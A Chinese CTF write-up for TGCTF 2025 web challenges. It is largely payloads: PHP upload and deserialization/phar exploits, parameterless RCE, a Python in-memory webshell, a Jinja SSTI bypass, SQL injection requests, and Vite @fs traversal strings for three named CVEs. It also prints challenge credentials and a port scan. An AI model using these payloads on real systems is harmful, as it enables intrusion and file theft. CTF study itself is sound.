Web
(ez)upload
hint写有源码泄露
index.php.bak拿源码
1<?php
2define('UPLOAD_PATH', __DIR__ . '/uploads/');
3$is_upload = false;
4$msg = null;
5$status_code = 200; // 默认状态码为 200
6if (isset($_POST['submit'])) {
7 if (file_exists(UPLOAD_PATH)) {
8 $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
9
10 if (isset($_GET['name'])) {
11 $file_name = $_GET['name'];
12 } else {
13 $file_name = basename($_FILES['name']['name']);
14 }
15 $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
16
17 if (!in_array($file_ext, $deny_ext)) {
18 $temp_file = $_FILES['name']['tmp_name'];
19 $file_content = file_get_contents($temp_file);
20
21 if (preg_match('/.+?</s', $file_content)) {
22 $msg = '文件内容包含非法字符,禁止上传!';
23 $status_code = 403; // 403 表示禁止访问
24 } else {
25 $img_path = UPLOAD_PATH . $file_name;
26 if (move_uploaded_file($temp_file, $img_path)) {
27 $is_upload = true;
28 $msg = '文件上传成功!';
29 } else {
30 $msg = '上传出错!';
31 $status_code = 500; // 500 表示服务器内部错误
32 }
33 }
34 } else {
35 $msg = '禁止保存为该类型文件!';
36 $status_code = 403; // 403 表示禁止访问
37 }
38 } else {
39 $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
40 $status_code = 404; // 404 表示资源未找到
41 }
42}
43
44// 设置 HTTP 状态码
45http_response_code($status_code);
46
47// 输出结果
48echo json_encode([
49 'status_code' => $status_code,
50 'msg' => $msg,
51]);
审计一下代码,看到有个name,可以对文件名进行修改,想到目录穿越
利用这个进行目录穿越,把.user.ini传到web目录,然后文件包含1.jpg
连蚁剑拿flag
AAA偷渡阴平
无参RCE
1?tgctf2025=system(end(current(get_defined_vars())));&b=tac /flag
AAA偷渡阴平(复仇)
利用session_id打无参RCE
1/?tgctf2025=session_start();system(hex2bin(session_id()));
将cookie改为
1PHPSESSID=636174202f662a
熟悉的配方,熟悉的味道
题目
1from pyramid.config import Configurator
2from pyramid.request import Request
3from pyramid.response import Response
4from pyramid.view import view_config
5from wsgiref.simple_server import make_server
6from pyramid.events import NewResponse
7import re
8from jinja2 import Environment, BaseLoader
9
10eval_globals = { #防止eval执行恶意代码
11 '__builtins__': {}, # 禁用所有内置函数
12 '__import__': None # 禁止动态导入
13}
14
15
16def checkExpr(expr_input):
17 expr = re.split(r"[-+*/]", expr_input)
18 print(exec(expr_input))
19
20 if len(expr) != 2:
21 return 0
22 try:
23 int(expr[0])
24 int(expr[1])
25 except:
26 return 0
27
28 return 1
29
30
31def home_view(request):
32 expr_input = ""
33 result = ""
34
35 if request.method == 'POST':
36 expr_input = request.POST['expr']
37 if checkExpr(expr_input):
38 try:
39 result = eval(expr_input, eval_globals)
40 except Exception as e:
41 result = e
42 else:
43 result = "爬!"
44
45
46 template_str = 【xxx】
47
48 env = Environment(loader=BaseLoader())
49 template = env.from_string(template_str)
50 rendered = template.render(expr_input=expr_input, result=result)
51 return Response(rendered)
52
53
54if __name__ == '__main__':
55 with Configurator() as config:
56 config.add_route('home_view', '/')
57 config.add_view(home_view, route_name='home_view')
58 app = config.make_wsgi_app()
59
60 server = make_server('0.0.0.0', 9040, app)
61 server.serve_forever()
审计一下发现在checkExpr处会将传入的内容用exec进行执行
1def checkExpr(expr_input):
2 expr = re.split(r"[-+*/]", expr_input)
3 print(exec(expr_input))
4
5 if len(expr) != 2:
6 return 0
7 try:
8 int(expr[0])
9 int(expr[1])
10 except:
11 return 0
12
13 return 1
测一下发现题目不出网,打pyramid内存马
参考
https://forum.butian.net/share/3974
1def waff():
2 def f():
3 yield g.gi_frame.f_back
4
5 g = f()
6 frame = next(g)
7 b = frame.f_back.f_back.f_globals
8 def hello(request):
9 code = request.params['code']
10 res=eval(code)
11 return Response(res)
12
13 config.add_route('shellb', '/shellb')
14 config.add_view(hello, route_name='shellb')
15 config.commit()
16
17waff()
在/shellb处命令执行拿flag即可
什么文件上传?
robots.txt里面看到一个class.php
/class.php
php反序列化
exp
1<?php
2class yesterday {
3 public $learn;
4 public $study="study";
5 public $try;
6}
7class today {
8 public $doing;
9 public $did;
10 public $done;
11}
12class future{
13 private $impossible="How can you get here?<br>";
14 private $out;
15 private $no;
16}
17$a = new yesterday();
18$a -> study = new today();
19$a -> study -> doing = new future();
20
21
22echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
23
24?>
传入时会截断后4位,随便在后面加几个字符串就好
接下来wow传参RCE拿flag就行
什么文件上传?(复仇)
上一题可以拿到upload.php的源码
1<?php
2if(isset($_FILES['file'])) {
3 $uploadDir = 'uploads/';
4 if(!file_exists($uploadDir)) {
5 mkdir($uploadDir, 0777, true);
6 }
7
8 // 白名单允许的扩展名
9 $allowedExtensions = ['atg'];
10 $fileName = basename($_FILES['file']['name']);
11 $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
12
13 // 检查文件扩展名
14 if(!in_array($fileExtension, $allowedExtensions)) {
15 die("hacker!");
16 }
17
18 $uploadFile = $uploadDir . $fileName;
19
20 if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
21 echo "文件已保存到:$uploadFile !";
22 } else {
23 echo "文件保存出错!";
24 }
25}
26?>
class.php
1<?php
2highlight_file(__FILE__);
3error_reporting(0);
4function best64_decode($str)
5{
6 return base64_encode(md5(base64_encode(md5($str))));
7 }
8class yesterday {
9 public $learn;
10 public $study="study";
11 public $try;
12 public function __construct()
13 {
14 $this->learn = "learn<br>";
15 }
16 public function __destruct()
17 {
18 echo "You studied hard yesterday.<br>";
19 return $this->study->hard();
20 }
21}
22class today {
23 public $doing;
24 public $did;
25 public $done;
26 public function __construct(){
27 $this->did = "What you did makes you outstanding.<br>";
28 }
29 public function __call($arg1, $arg2)
30 {
31 $this->done = "And what you've done has given you a choice.<br>";
32 echo $this->done;
33 if(md5(md5($this->doing))==666){
34 return $this->doing();
35 }
36 else{
37 return $this->doing->better;
38 }
39 }
40}
41class tommoraw {
42 public $good;
43 public $bad;
44 public $soso;
45 public function __invoke(){
46 $this->good="You'll be good tommoraw!<br>";
47 echo $this->good;
48 }
49 public function __get($arg1){
50 $this->bad="You'll be bad tommoraw!<br>";
51 }
52
53}
54class future{
55 private $impossible="How can you get here?<br>";
56 private $out;
57 private $no;
58 public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
59
60 public function __set($arg1, $arg2) {
61 if ($this->out->useful7) {
62 echo "Seven is my lucky number<br>";
63 system('whoami');
64 }
65 }
66 public function __toString(){
67 echo "This is your future.<br>";
68 system($_POST["wow"]);
69 return "win";
70 }
71 public function __destruct(){
72 $this->no = "no";
73 return $this->no;
74 }
75}
76if (file_exists($_GET['filename'])){
77 echo "Focus on the previous step!<br>";
78}
79else{
80 $data=substr($_GET['filename'],0,-4);
81 unserialize(best64($data));
82}
83// You learn yesterday, you choose today, can you get to your future?
84?>
这题把直接反序列化写死了
但是我们可以利用file_exists和文件上传打phar反序列化
拿上一题的exp改一改
1<?php
2class yesterday {
3 public $learn;
4 public $study="study";
5 public $try;
6}
7class today {
8 public $doing;
9 public $did;
10 public $done;
11}
12class future{
13 private $impossible="How can you get here?<br>";
14 private $out;
15 private $no;
16}
17$a = new yesterday();
18$a -> study = new today();
19$a -> study -> doing = new future();
20
21$phar = new Phar("1.phar");
22$phar->startBuffering();
23$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
24$phar->setMetadata($a); //将自定义meta-data存入manifest
25$phar->addFromString("a", ""); //添加要压缩的文件
26$phar->stopBuffering();
27
28?>
改为1.atg文件上传到uploads目录
在class.php处传入
1?filename=phar://./uploads/1.atg
实现RCE
前端GAME
CVE-2025-30208
1URL/@fs/tgflagggg?import&raw??
前端GAME Plus
CVE-2025-31125
1URL/@fs/tgflagggg?meteorkai.svg?.wasm?init
前端GAME Ultra
https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA
CVE-2025-32395
1curl --request-target /@fs/app/#/../../../../../tgflagggg URL
TG_wordpress
在robots.txt里面看到这两个
/.tmp/vuln和/.tmp/.bak
一个二进制文件和一个fscan的扫描结果
1fscan.exe -h 101.37.149.223 -ping
2
3 ___ _
4 / _ \ ___ ___ _ __ __ _ ___| | __
5 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
6/ /_\\_____\__ \ (__| | | (_| | (__| <
7\____/ |___/\___|_| \__,_|\___|_|\_\
8 fscan version: 1.8.4
9start infoscan
10101.37.149.223:22 open
11101.37.149.223:80 open
12101.37.149.223:443 open
13101.37.149.223:3306 open
14101.37.149.223:27645 open
15101.37.149.223:27646 open
16101.37.149.223:27647 open
17101.37.149.223:27648 open
18101.37.149.223:27649 open
19101.37.149.223:27650 open
20101.37.149.223:27651 open
21101.37.149.223:27652 open
22101.37.149.223:27653 open
23101.37.149.223:27654 open
24101.37.149.223:27655 open
25101.37.149.223:27656 open
26101.37.149.223:27657 open
27101.37.149.223:27658 open
28101.37.149.223:27659 open
29101.37.149.223:27660 open
30101.37.149.223:27661 open
31101.37.149.223:27662 open
32101.37.149.223:33376 open
33101.37.149.223:52013 open
猜到要打pwn
nc 101.37.149.223 52013
验证猜想
静态编译,而且主函数只有一个get
直接ROPgadget–ropchain梭哈
1================================== + HINT(not flag/FLAG): + username/password: + TG_wordpressor + aXx^oV@K&cFoVaztQ* + + All hints have the same content + obtaining one is enough ==================================
拿到后台账户密码
TG_wordpressor/aXx^oV@K&cFoVaztQ*
登进后台找到插件列表 wp-file-manager版本为6.0
https://blog.csdn.net/hongduilanjun/article/details/132851717
1tgctf{CVE-2020-25213}
火眼辩魑魅
tgshell.php
直接连蚁剑读flag了
直面天命
把路由爆破出来,/aazz
直接读flag即可
1?filename=/flag
2//TGCTF{05ee064a-ef29-6e6c-718e-746b002f727e}
直面天命(复仇)
源码
1import os
2import string
3from flask import Flask, request, render_template_string, jsonify, send_from_directory
4from a.b.c.d.secret import secret_key
5
6app = Flask(__name__)
7
8black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
9def waf(name):
10 for x in black_list:
11 if x in name.lower():
12 return True
13 return False
14def is_typable(char):
15 # 定义可通过标准 QWERTY 键盘输入的字符集
16 typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
17 return char in typable_chars
18
19@app.route('/')
20def home():
21 return send_from_directory('static', 'index.html')
22
23@app.route('/jingu', methods=['POST'])
24def greet():
25 template1=""
26 template2=""
27 name = request.form.get('name')
28 template = f'{name}'
29 if waf(name):
30 template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
31'
32 else:
33 k=0
34 for i in name:
35 if is_typable(i):
36 continue
37 k=1
38 break
39 if k==1:
40 if not (secret_key[:2] in name and secret_key[2:]):
41 template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
42
43再去西行历练历练
44'
45 return render_template_string(template)
46 template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
47最后,如果你用了cat,就可以见到齐天大圣了
48"
49 template= template.replace("天命","{{").replace("难违","}}")
50 template = template
51 if "cat" in template:
52 template2 = '
53或许你这只叫天命人的猴子,真的能做到?
54'
55 try:
56 return template1+render_template_string(template)+render_template_string(template2)
57 except Exception as e:
58 error_message = f"500报错了,查询语句如下:
59{template}"
60 return error_message, 400
61
62@app.route('/hint', methods=['GET'])
63def hinter():
64 template="hint:
65有一个aazz路由,去那里看看吧,天命人!"
66 return render_template_string(template)
67
68@app.route('/aazz', methods=['GET'])
69def finder():
70 with open(__file__, 'r') as f:
71 source_code = f.read()
72 return f"
73{source_code}
74", 200, {'Content-Type': 'text/html; charset=utf-8'}
75
76if __name__ == '__main__':
77 app.run(host='0.0.0.0', port=80)
打ssti
payload
1天命((cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /flag'))['r''ead']()难违
TGCTF 2025 后台管理
题目给了后台的一个账号,tg/tg123
进后台发现什么都没有,甚至可以直接在cookie改身份
回到登录界面尝试万能密码发现有waf,那应该要打sql
waf了单引号,通过转义绕过即可
1username=admin\&password=or 1=1#
尝试联合注入,set-cookie处有回显
但是有长度限制,在读表名处卡了很久
后面直接猜表名是flag,直接打无列名
https://www.cnblogs.com/q1stop/p/18024992
利用join打无列名
1POST /login HTTP/1.1
2Host: 124.71.147.99:9045
3Accept-Language: zh-CN,zh;q=0.9
4Content-Type: application/x-www-form-urlencoded
5Cache-Control: max-age=0
6Origin: http://124.71.147.99:9045
7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
8Referer: http://124.71.147.99:9045/login
9Accept-Encoding: gzip, deflate
10Upgrade-Insecure-Requests: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12Content-Length: 25
13
14username=admin\&password={{urlenc(union select * from (select * from flag a join flag b)c#)}}
1POST /login HTTP/1.1
2Host: 124.71.147.99:9045
3Accept-Language: zh-CN,zh;q=0.9
4Content-Type: application/x-www-form-urlencoded
5Cache-Control: max-age=0
6Origin: http://124.71.147.99:9045
7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
8Referer: http://124.71.147.99:9045/login
9Accept-Encoding: gzip, deflate
10Upgrade-Insecure-Requests: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12Content-Length: 25
13
14username=admin\&password={{urlenc(union select value,2 from flag#)}}
1TGCTF{ac4ca16f-f1508c-000342}